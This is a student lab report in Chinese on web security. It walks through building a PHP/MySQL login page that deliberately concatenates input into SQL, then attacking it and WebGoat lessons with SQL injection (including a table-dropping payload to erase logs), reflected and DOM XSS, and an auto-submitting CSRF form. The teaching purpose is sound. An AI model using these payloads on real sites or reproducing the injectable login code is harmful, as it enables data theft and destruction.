1.實驗內容
1.1實驗基本內容概述
(1)編寫含有表單的前端程式碼,啟用Apache,可以訪問對應網頁。
(2)在前端程式碼中新增javascript程式碼,進行驗證和登入回顯的操作,並對其進行注入攻擊。
(3)啟動MySQL,並對其進行基礎操作。
(4)修改前端程式碼,編寫PHP程式碼,使網頁可以透過請求PHP檔案,連線資料庫,進行使用者認證。
(5)對編寫的網頁進行SQL隱碼攻擊、XSS攻擊。
(6)安裝WebGoat平臺,完成SQL隱碼攻擊、XSS、CSRF攻擊。
1.2學習內容概述
(1)學習網頁編寫的相關內容,包括html、Javascript、php。
(2)熟悉前後端專案設計的軟體,包括Apache、MySQL。
(3)學會進行HTML注入、JavaScript注入、SQL隱碼攻擊、XSS攻擊。
(4)利用平臺進一步學習SQL隱碼攻擊、XSS、CSRF攻擊。
名詞解釋:
- HTML注入:一種網路攻擊方式,攻擊者透過向易受攻擊的欄位注入惡意HTML程式碼,從而修改網頁內容或獲取敏感資料。
- JavaScript注入:透過在瀏覽器位址列輸入或修改JavaScript程式碼,來改變網頁內容、變數值或表單屬性等。
- SQL隱碼攻擊:攻擊者透過在應用程式的輸入欄位中插入惡意的SQL語句,欺騙資料庫伺服器執行非授權的查詢,從而獲取或篡改資料庫資訊。
- XSS攻擊:跨站指令碼攻擊,攻擊者在使用者輸入的欄位中嵌入惡意指令碼,當其他使用者瀏覽這些頁面時,惡意指令碼會在他們的瀏覽器中執行。
- CSRF攻擊:即跨站請求偽造攻擊,攻擊者誘導使用者在已登入的Web應用程式上執行非預期的操作,通常是透過偽造使用者的請求來實現的。
2.實驗過程
2.1Web前端HTML
HTML:超文字標記語言,用於建立和設計網頁及其內容的標準標記語言。
表單:HTML中的一種元素,用於收集使用者輸入的資料,如文字、密碼、選項等。
GET方法:一種HTTP請求方法,用於請求從伺服器獲取資料,並將引數附加在URL中。
POST方法:一種HTTP請求方法,用於向伺服器提交資料,資料通常包含在請求體中,適合提交敏感或大量資料。
kali虛擬機器上已安裝Apache。先使用命令netstat -tupln | grep 80
檢查埠是否被佔用,再用systemctl start apache2
開啟Apache,用systemctl status apache2.service
確認服務狀態。從結果中可以看出Apache正常啟動。
進入kali的/var/www/html目錄下,用vi 20222408msy.html
命令建立html檔案,並輸入以下內容。這個HTML檔案包含表單,涉及GET、POST方法,雖然沒有進行進一步處理。
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>表單示例</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f0f0f5;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
background-color: #fff;
padding: 30px;
border-radius: 10px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
width: 400px;
text-align: center;
}
.container img {
border-radius: 50%;
width: 100px;
height: 100px;
margin-bottom: 20px;
}
.container h2 {
margin-bottom: 20px;
}
.form-group {
margin-bottom: 15px;
}
.form-group label {
display: block;
margin-bottom: 5px;
}
.form-group input[type="text"],
.form-group input[type="password"],
.form-group input[type="email"],
.form-group button[type="submit"] {
width: 100%;
padding-top: 10px;
padding-bottom:10px;
border: 1px solid #ccc;
border-radius: 5px;
}
.form-group button[type="submit"] {
margin-top:5px;
background-color: #007BFF;
color: #fff;
border: none;
cursor: pointer;
}
.form-group button[type="submit"]:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="container">
<img src="1.jpg" alt="Profile Picture">
<h2>登錄檔單</h2>
<form action="/submit-form" method="post">
<div class="form-group">
<label for="username">使用者名稱</label>
<input type="text" id="username" name="username" required>
</div>
<div class="form-group">
<label for="email">郵箱</label>
<input type="email" id="email" name="email" required>
</div>
<div class="form-group">
<label for="password">密碼</label>
<input type="password" id="password" name="password" required>
</div>
<div class="form-group">
<button type="submit">註冊</button>
</div>
</form>
<p>或者透過GET方法獲取資料:</p>
<form action="/get-data" method="get">
<div class="form-group">
<label for="search">搜尋</label>
<input type="text" id="search" name="search" required>
<button type="submit">搜尋</button>
</div>
</form>
</div>
</body>
</html>
該HTML檔案的效果如下。
2.2Web前端javascript
JavaScript:Web的程式語言,主要用於嵌入動態文字於HTML頁面、響應瀏覽器事件、讀寫HTML元素、驗證資料等。
DOM:文件物件模型,是瀏覽器用來解析HTML和XML文件的程式設計介面,將文件描繪成一個層次化的節點樹,允許開發人員動態地訪問和操作文件的內容和結構。
在2.1的基礎上,刪除表單的action和method屬性,把登錄檔單改成登入表單,在登入按鈕上加入onclick="submit_login()"
的屬性,並新增下面這些script程式碼。這一段程式碼會在使用者登入時,驗證使用者名稱、密碼的規則,並在使用者成功登入後回顯"歡迎+輸入的使用者名稱"。
<script>
function submit_login() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
var usernameRegex = /^.{4,}$/;
var passwordRegex = /^(?=.*[A-Za-z])(?=.*\d)[A-Za-z\d]{6,}$/;
if (!usernameRegex.test(username)) {
alert('使用者名稱必須在4個字元以上');
return;
}
if (!passwordRegex.test(password)) {
alert('密碼必須是6個字元以上,包含至少一個字母和一個數字');
return;
}
document.write('歡迎 ' + username);
};
</script>
最終實現的效果如下。成功對資料進行校驗,並能夠返回登入結果。
對於實現的頁面,進行注入攻擊。
在使用者名稱一欄填入< h1>HTML injection succeed.< /h1>
,成功實現HTML注入。
在使用者名稱一欄填入< script type="text/javascript"> alert("JavaScript injection succeed.") </ script>
,成功實現JavaScript注入。
2.3Web後端MySQL基礎
kali虛擬機器自帶MySQL,輸入命令systemctl start mysql
開啟服務,輸入命令systemctl status mysql
確認服務已開啟。從結果中可以看出MySQL正常啟動。
輸入以下命令,完成建庫、建立使用者、修改密碼、建表等操作。
mysql
-- 建立資料庫
CREATE DATABASE 20222408db;
-- 使用資料庫
USE 20222408db;
-- 建立使用者
CREATE USER 'user20222408' IDENTIFIED BY '040217Msy';
-- 授予使用者許可權
GRANT ALL PRIVILEGES ON 20222408db.* TO 'user20222408';
FLUSH PRIVILEGES;
-- 修改使用者密碼
ALTER USER 'user20222408' IDENTIFIED BY '040217Msy!';
-- 建立表
CREATE TABLE onetable (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255) NOT NULL,
pwd VARCHAR(255) NOT NULL
);
-- 插入資料
INSERT INTO onetable (name, pwd) VALUES ('miaoshuyang', '20222408msy');
-- 檢視錶中所有內容
SELECT * FROM onetable;
2.4Web後端編寫PHP網頁
輸入命令apt-get install php
下載php,發現已經下載過了。
編寫以下php程式碼,實現連線資料庫和使用者認證。
<?php
$host = 'localhost';
$dbname = '20222408db';
$user = 'user20222408';
$password = '040217Msy!';
//建立資料庫連線
$conn = new mysqli($host, $user, $password, $dbname);
//檢查連線是否成功
if ($conn->connect_error) {
die("資料庫連線失敗: " . $conn->connect_error);
}
//獲取POST資料
$username = $_POST['username'];
$password = $_POST['password'];
//使用查詢語句進行查詢
$sql = "SELECT * FROM onetable WHERE name='$username' AND pwd='$password'";
$result = $conn->query($sql);
//檢查是否有匹配的記錄
if ($result->num_rows > 0) {
echo "歡迎登入成功: " . $username . "!";
} else {
echo "使用者名稱或密碼錯誤";
}
//關閉結果集和預處理語句
$result->close();
$stmt->close();
//關閉資料庫連線
$conn->close();
?>
在前端程式碼中,修改登入表單的屬性如下,刪除按鈕的onclick屬性。
< form id="loginForm" action="http://localhost/20222408msy.php" method="post">
完成上述操作後,檢視實現效果。發現可以正常進行使用者認證。輸入正確使用者名稱和密碼的結果如下圖。
輸入錯誤密碼的結果如下圖。
2.5實現簡單的SQL隱碼攻擊和XSS攻擊
在使用者名稱中隨機輸入,密碼中輸入' OR '1'='1
,即可成功登入,實現了SQL隱碼攻擊。
在使用者名稱中輸入< script>alert("xss atack succeed.");< /script>
,密碼中輸入' OR '1'='1
,網頁彈出視窗,實現了XSS攻擊。
2.6安裝DVWA或WebGoat平臺,並完成SQL隱碼攻擊、XSS、CSRF攻擊
先根據如何搭建 WebGoat 靶場保姆級教程 進行下載搭建。在webgoat-2023.5.jar所在目錄下,輸入java -jar webgoat-2023.5.jar命令開始執行。
在網頁上註冊並登入。
2.6.1完成SQL隱碼攻擊
開啟Injection選項,前面幾個訓練內容是sql的基本知識。
- 第九個是透過注入看到表中所有使用者的資料。
構建查詢語句的程式碼如下
"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";
想要查詢所有使用者資料,要從後面的條件入手,輸入內容為
Smith' or '1'='1
則查詢語句為
SELECT * FROM user_data WHERE first_name = 'John' and last_name 'Smith' or '1' = '1'
由於'1' = '1'永真,所以就會返回所有表的資料。
- 第十個是數字型SQL隱碼攻擊,目的也是看到表中所有使用者的資料。
構建查詢語句的程式碼如下
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;
輸入內容為
login_count=1,userid=1 OR 1=1
則最終的查詢語句是
SELECT * From user_data WHERE Login_Count = 1 and userid= 1 OR 1=1
由於1=1永真,所以就會返回所有表的資料。
- 第十一個是字串型SQL隱碼攻擊,目的也是看到表中所有使用者的資料。
構建查詢語句的程式碼如下
"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
輸入內容為
Employee Name:Smith,Authentication TAN:3SL99A' OR '1'='1
則最終的查詢語句是
SELECT * FROM employees WHERE last_name = 'Smith' AND auth_tan = '3SL99A' OR '1'='1';
由於'1' = '1'永真,所以就會返回所有表的資料。
- 第十二個是透過注入改變工資數量。
構建查詢語句的程式碼如下
"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
輸入內容為
Employee Name:Smith,Authentication TAN:1'; UPDATE employees SET SALARY = 999999 WHERE LAST_NAME = 'Smith'; --
則最終執行的語句是
SELECT * FROM employees WHERE last_name = 'Smith' AND auth_tan = '1'; UPDATE employees SET SALARY = 999999 WHERE LAST_NAME = 'Smith'; --'
auth_tan開頭的';'使得查詢語句結束,之後就寫入了完整的更新語句,並透過'--'使得後續的內容成為註釋,因此就可以執行更新語句改變工資。
- 第十三個是刪除日誌表,避免留痕。
輸入內容為
1'; drop table access_log; --
開頭的';'使得查詢語句結束,之後寫入完整的刪表語句,並透過'--'使得後續的內容成為註釋,因此就可以執行刪表語句。
2.6.2完成XSS攻擊
- 第七個是反射型XSS攻擊。
一共有兩個提交框,所以需要測試哪個提交框可以完成攻擊。
分別嘗試在兩個框中輸入< script>alert('xss attack20222408')</ script>
,發現在第一個框中輸入時會彈框,說明XSS攻擊成功。
- 第十個是基於DOM的XSS攻擊,需要先找到在生產過程中留在應用程式中的測試程式碼的路徑。
題目當中告訴了我們"The ‘base route’ in this case is: start.mvc#lesson",而js檔案中寫道“‘test/:param’: ‘testRoute’”,因此答案就是“start.mvc#test/”。
- 第十一個是基於DOM的XSS攻擊。
使用第十節發現的route,執行如下函式,從route中反射引數webgoat.customjs.phoneHome()。
透過url在新的標籤頁觸發,然後控制檯會顯示一個響應,輸入響應中的隨機數完成這個題。
構造如下url,訪問http://127.0.0.1:8080/WebGoat/start.mvc#test/param1=foobar¶m2=DOMXSS%3Cscript%3Ewebgoat.customjs.phoneHome()%3C%2Fscript%3E
可以看到控制檯已經輸出了資訊,提交-652412038。
2.6.2完成CSRF攻擊
- 第三個是使用外部資源觸發提交按鈕。
需要對提交查詢請求的refer進行修改,refer表示這個請求從哪個網站來的。
用burpsuite開啟攔截,並輸入內容點選提交,得到攔截的包。
修改refer內容,再放行。
回到查詢請求的網頁,發現得到flag值。
將flag值輸入之後,課程完成。
- 第四個是用CSRF攻擊發表評論。
用burpsuite開啟攔截,並輸入內容點選提交,得到攔截的包。
同樣修改refer內容,再放行。回到webgoat,發現已經提交成功。
重新整理頁面,發現評論已經發上去了。
- 第七個題目要求向終端傳送如下post請求,需要從其他域請求且需要登入webgoat。
POST /csrf/feedback/message HTTP/1.1
{
"name" : "WebGoat",
"email" : "webgoat@webgoat.org",
"content" : "WebGoat is the best!!"
}
在瀏覽器中先登入webgoat,然後構建以下html程式碼
<form name="attack" enctype="text/plain" action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message" METHOD="POST">
<input type="hidden" name='{"name": "Testf", "email": "teddst1233@163.com", "subject": "service", "message":"' value='dsaffd"}'>
</form>
<script>document.attack.submit();</script>
點開這個html程式碼,即發出題目所需請求,得到響應。
將響應中的flag提交,成功完成攻擊。
- 第八個是登入CSRF攻擊。
登入20222408msy的賬號,把這個頁面留著。
在另一個頁面登入csrf-20222408msy
再回到原本的頁面點選按鈕,成功完成了攻擊。
3.問題及解決方案
- 問題1:一開始網頁請求php檔案時,不會執行php檔案,而是直接返回php內容。
- 問題1解決方案:找了很多教程,改了很多配置檔案的內容,但還是不行。後來新建了一個kali虛擬機器,結果就可以正常執行php檔案了。
- 問題2:在WebGoat中刷題時,很多題一開始沒有思路。
- 問題2解決方案:透過搜尋和學習,瞭解了很多資訊,知道了正確的解題方法。
4.學習感悟、思考等
在這次實驗中,我實踐了HTML注入、JavaScript注入、SQL隱碼攻擊、XSS攻擊、CSRF攻擊等多種攻擊方式。這些攻擊方式讓我深刻認識到,在開發Web應用時,如果忽視了對使用者輸入資料或客戶端提交資料的校驗和處理,就可能導致嚴重的安全問題。所以開發者應該具備紮實的程式設計技能,還需要時刻保持警惕,不斷更新自己的安全知識。
在學習這些攻擊方式的同時,我也瞭解瞭如何防範這些攻擊。例如,透過對使用者輸入的資料進行嚴格的校驗和過濾,可以有效防止HTML注入和JavaScript注入。而對於SQL隱碼攻擊,則可以採用引數化查詢或預編譯語句等方法來避免。
本次學期的學習與實踐使我收穫頗豐,相信這一定會對我未來的發展有所幫助。
參考資料
- 實驗八 Web安全
- 如何搭建 WebGoat 靶場保姆級教程